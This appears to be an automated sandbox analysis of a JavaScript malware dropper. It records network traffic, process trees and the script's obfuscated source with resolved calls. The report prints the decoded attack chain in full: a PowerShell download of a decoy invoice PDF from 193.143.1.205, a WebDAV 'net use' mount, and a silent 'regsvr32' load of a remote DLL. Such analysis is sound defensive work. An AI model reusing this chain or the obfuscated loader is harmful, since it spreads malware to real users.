Jan 11, 2025 02:05:48.413655043 CET	8888	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:48.463836908 CET	49706	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:49.331839085 CET	49706	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:06:00.545259953 CET	54460	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:06:12.605077982 CET	50352	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:06:36.636780024 CET	58247	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:07:00.792709112 CET	56020	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:07:24.870939970 CET	62120	53	192.168.2.7	1.1.1.1
Jan 11, 2025 02:07:49.004859924 CET	56529	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:06:00.545259953 CET	192.168.2.7	1.1.1.1	0x1439	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:06:12.605077982 CET	192.168.2.7	1.1.1.1	0x3f54	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:06:36.636780024 CET	192.168.2.7	1.1.1.1	0xefdf	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:07:00.792709112 CET	192.168.2.7	1.1.1.1	0x304c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:07:24.870939970 CET	192.168.2.7	1.1.1.1	0xc65c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:07:49.004859924 CET	192.168.2.7	1.1.1.1	0xec69	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:05:59.446624994 CET	1.1.1.1	192.168.2.7	0xdbe0	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:05:59.446624994 CET	1.1.1.1	192.168.2.7	0xdbe0	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:06:00.552340031 CET	1.1.1.1	192.168.2.7	0x1439	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:06:12.612180948 CET	1.1.1.1	192.168.2.7	0x3f54	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:06:36.644332886 CET	1.1.1.1	192.168.2.7	0xefdf	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:07:00.802758932 CET	1.1.1.1	192.168.2.7	0x304c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:07:24.878284931 CET	1.1.1.1	192.168.2.7	0xc65c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:07:49.012065887 CET	1.1.1.1	192.168.2.7	0xec69	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	1456	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:05:45.431334019 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:05:46.238637924 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:05:46 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:05:46.238663912 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:05:46.238675117 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:05:46.238744020 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:05:46.238756895 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 02:05:46.238929987 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 02:05:46.238943100 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 02:05:46.238955021 CET	328	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 02:05:46.238965034 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 02:05:46.238979101 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 02:05:46.243560076 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49706	193.143.1.205	8888	7288	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:05:47.616528988 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:05:48.413655043 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:05:48 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	5
Start time:	20:05:41
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js"
Imagebase:	0x7ff753620000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:05:42
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll
Imagebase:	0x7ff6245d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:05:42
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:05:42
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	20:05:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	20:05:46
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6245d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:05:46
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff77df90000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:05:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	20:05:46
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	20:05:47
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1672,i,11755538481191396504,2734980706319894843,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function kboctsg() {	kboctsg() ➔ undefined
1	sdfgnrhz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var vxrskq = this[udxer + qljmsi + fgzjd + kwzyqocex + ycyrmieab + ksizw + xckwnvfwd + jasihq] ( this[jaixt + cfrzvqal + sdvagz + fgzjd + dgmqnte + udxer + jasihq][iixydiyq + fgzjd + ycyrmieab + qljmsi + jasihq + ycyrmieab + wxttvmsn + dmhoh + loryu + ycyrmieab + sdvagz + jasihq] ( jaixt + cfrzvqal + sdvagz + fgzjd + dgmqnte + udxer + jasihq + vzdjw + cfrzvqal + bsrzzxpau + ycyrmieab + urtbetd + urtbetd ) [zovhb + ycyrmieab + lvfpi + zovhb + ycyrmieab + qljmsi + fofnjqubk] ( wzvsi + oxmbmgri + upydlcl + nkljetldx + kuzztgijm + iixydiyq + scbwwenu + zovhb + zovhb + upydlcl + wsmbykgr + geskxt + kuzztgijm + scbwwenu + cfrzvqal + upydlcl + zovhb + dbomenqvs + iixydiyq + zxavfqi + xckwnvfwd + jasihq + fgzjd + zxavfqi + urtbetd + vrjwhz + xkzmvcd + qljmsi + xckwnvfwd + ycyrmieab + urtbetd + dbomenqvs + ksizw + xckwnvfwd + jasihq + ycyrmieab + fgzjd + xckwnvfwd + qljmsi + jasihq + dgmqnte + zxavfqi + xckwnvfwd + qljmsi + urtbetd + dbomenqvs + gybgcgc + zxavfqi + sdvagz + qljmsi + urtbetd + ycyrmieab ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( grwbe = 0 ; grwbe < sdfgnrhz[urtbetd + ycyrmieab + xckwnvfwd + lvfpi + jasihq + bsrzzxpau] ; ++ grwbe )
4	{
5	if ( vxrskq == sdfgnrhz[grwbe] )
6	{
7	vxrskq = true;
8	break ;
9	}
10	}
11	if ( vxrskq !== true )
12	this[jaixt + cfrzvqal + sdvagz + fgzjd + dgmqnte + udxer + jasihq][ejkgpxi + qmtzkqwip + dgmqnte + jasihq] ( );
13	this[jaixt + cfrzvqal + sdvagz + fgzjd + dgmqnte + udxer + jasihq][iixydiyq + fgzjd + ycyrmieab + qljmsi + jasihq + ycyrmieab + wxttvmsn + dmhoh + loryu + ycyrmieab + sdvagz + jasihq] ( jaixt + cfrzvqal + sdvagz + fgzjd + dgmqnte + udxer + jasihq + vzdjw + cfrzvqal + bsrzzxpau + ycyrmieab + urtbetd + urtbetd ) [fgzjd + qmtzkqwip + xckwnvfwd] ( sdvagz + smrsyto + fofnjqubk + vrjwhz + yzjfugt + sdvagz + vrjwhz + udxer + zxavfqi + mxuaaa + ycyrmieab + fgzjd + kwzyqocex + bsrzzxpau + ycyrmieab + urtbetd + urtbetd + vzdjw + ycyrmieab + flfdeb + ycyrmieab + vrjwhz + gidlajiaw + iixydiyq + zxavfqi + smrsyto + smrsyto + qljmsi + xckwnvfwd + fofnjqubk + vrjwhz + pivlzb + ksizw + xckwnvfwd + rmuplmdlc + zxavfqi + wfjmm + ycyrmieab + gidlajiaw + jaixt + ycyrmieab + dmhoh + zovhb + ycyrmieab + sdwzdddx + qmtzkqwip + ycyrmieab + kwzyqocex + jasihq + vrjwhz + gidlajiaw + wxttvmsn + qmtzkqwip + jasihq + ijrhl + dgmqnte + urtbetd + ycyrmieab + vrjwhz + kpywf + jasihq + ycyrmieab + smrsyto + udxer + kpywf + dbomenqvs + dgmqnte + xckwnvfwd + rmuplmdlc + zxavfqi + dgmqnte + sdvagz + ycyrmieab + vzdjw + udxer + fofnjqubk + fpuza + vrjwhz + bsrzzxpau + jasihq + jasihq + udxer + qowgz + yzjfugt + yzjfugt + zpjttdcp + ytlxlawt + uksgp + vzdjw + zpjttdcp + xgjktldey + uksgp + vzdjw + zpjttdcp + vzdjw + fyhki + nulllb + swkgnpep + yzjfugt + dgmqnte + xckwnvfwd + rmuplmdlc + zxavfqi + dgmqnte + sdvagz + ycyrmieab + vzdjw + udxer + bsrzzxpau + udxer + pivlzb + mowyt + mowyt + kwzyqocex + jasihq + qljmsi + fgzjd + jasihq + vrjwhz + kpywf + jasihq + ycyrmieab + smrsyto + udxer + kpywf + dbomenqvs + dgmqnte + xckwnvfwd + rmuplmdlc + zxavfqi + dgmqnte + sdvagz + ycyrmieab + vzdjw + udxer + fofnjqubk + fpuza + mowyt + mowyt + sdvagz + smrsyto + fofnjqubk + vrjwhz + yzjfugt + sdvagz + vrjwhz + xckwnvfwd + ycyrmieab + jasihq + vrjwhz + qmtzkqwip + kwzyqocex + ycyrmieab + vrjwhz + dbomenqvs + dbomenqvs + zpjttdcp + ytlxlawt + uksgp + vzdjw + zpjttdcp + xgjktldey + uksgp + vzdjw + zpjttdcp + vzdjw + fyhki + nulllb + swkgnpep + hdjkme + lfaygoo + lfaygoo + lfaygoo + lfaygoo + dbomenqvs + fofnjqubk + qljmsi + rmuplmdlc + mxuaaa + mxuaaa + mxuaaa + fgzjd + zxavfqi + zxavfqi + jasihq + dbomenqvs + mowyt + mowyt + sdvagz + smrsyto + fofnjqubk + vrjwhz + yzjfugt + sdvagz + vrjwhz + fgzjd + ycyrmieab + lvfpi + kwzyqocex + rmuplmdlc + fgzjd + uksgp + fyhki + vrjwhz + yzjfugt + kwzyqocex + vrjwhz + dbomenqvs + dbomenqvs + zpjttdcp + ytlxlawt + uksgp + vzdjw + zpjttdcp + xgjktldey + uksgp + vzdjw + zpjttdcp + vzdjw + fyhki + nulllb + swkgnpep + hdjkme + lfaygoo + lfaygoo + lfaygoo + lfaygoo + dbomenqvs + fofnjqubk + qljmsi + rmuplmdlc + mxuaaa + mxuaaa + mxuaaa + fgzjd + zxavfqi + zxavfqi + jasihq + dbomenqvs + zpjttdcp + swkgnpep + uksgp + nulllb + uksgp + qqxem + qqxem + ytlxlawt + lfaygoo + zpjttdcp + uksgp + lfaygoo + fyhki + nulllb + vzdjw + fofnjqubk + urtbetd + urtbetd, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll",0,false) ➔ 0
14	}
15	qqxem = "o";
16	qqxem = "u";
17	qqxem = "L";
18	qqxem = "o";
19	qqxem = "t";
20	qqxem = "F";
21	qqxem = "Q";
22	qqxem = "s";
23	qqxem = "P";
24	qqxem = "f";
25	qqxem = "m";
26	qqxem = "U";
27	qqxem = "e";
28	qqxem = "A";
29	qqxem = "w";
30	qqxem = "q";
31	qqxem = "6";
32	ejkgpxi = "K";
33	ejkgpxi = "Q";
34	ejkgpxi = "b";
35	ejkgpxi = "p";
36	ejkgpxi = "h";
37	ejkgpxi = "Z";
38	ejkgpxi = "I";
39	ejkgpxi = "G";
40	ejkgpxi = "H";
41	ejkgpxi = "z";
42	ejkgpxi = "i";
43	ejkgpxi = "Y";
44	ejkgpxi = "V";
45	ejkgpxi = "W";
46	ejkgpxi = "q";
47	ejkgpxi = "F";
48	ejkgpxi = "R";
49	ejkgpxi = "h";
50	ejkgpxi = "m";
51	ejkgpxi = "L";
52	ejkgpxi = "d";
53	ejkgpxi = "d";
54	ejkgpxi = "D";
55	ejkgpxi = "b";
56	ejkgpxi = "z";
57	ejkgpxi = "Q";
58	gybgcgc = "e";
59	gybgcgc = "S";
60	gybgcgc = "j";
61	gybgcgc = "F";
62	gybgcgc = "V";
63	gybgcgc = "O";
64	gybgcgc = "D";
65	gybgcgc = "O";
66	gybgcgc = "Y";
67	gybgcgc = "b";
68	gybgcgc = "I";
69	gybgcgc = "o";
70	gybgcgc = "P";
71	gybgcgc = "s";
72	gybgcgc = "U";
73	gybgcgc = "k";
74	gybgcgc = "d";
75	gybgcgc = "p";
76	gybgcgc = "N";
77	gybgcgc = "D";
78	gybgcgc = "A";
79	gybgcgc = "N";
80	gybgcgc = "t";
81	gybgcgc = "n";
82	gybgcgc = "H";
83	gybgcgc = "N";
84	gybgcgc = "g";
85	gybgcgc = "Z";
86	gybgcgc = "k";
87	gybgcgc = "b";
88	gybgcgc = "N";
89	gybgcgc = "d";
90	gybgcgc = "g";
91	gybgcgc = "u";
92	gybgcgc = "L";
93	kpywf = "P";
94	kpywf = "k";
95	kpywf = "n";
96	kpywf = "P";
97	kpywf = "a";
98	kpywf = "i";
99	kpywf = "I";
100	kpywf = "i";
101	kpywf = "i";
102	kpywf = "w";
103	kpywf = "O";
104	kpywf = "w";
105	kpywf = "T";
106	kpywf = "q";
107	kpywf = "d";
108	kpywf = "d";
109	kpywf = "z";
110	kpywf = "%";
111	kwzyqocex = "u";
112	kwzyqocex = "s";
113	ksizw = "o";
114	ksizw = "E";
115	ksizw = "f";
116	ksizw = "i";
117	ksizw = "l";
118	ksizw = "U";
119	ksizw = "X";
120	ksizw = "T";
121	ksizw = "Q";
122	ksizw = "r";
123	ksizw = "p";
124	ksizw = "p";
125	ksizw = "S";
126	ksizw = "U";
127	ksizw = "q";
128	ksizw = "P";
129	ksizw = "i";
130	ksizw = "s";
131	ksizw = "p";
132	ksizw = "r";
133	ksizw = "i";
134	ksizw = "I";
135	ycyrmieab = "p";
136	ycyrmieab = "P";
137	ycyrmieab = "y";
138	ycyrmieab = "N";
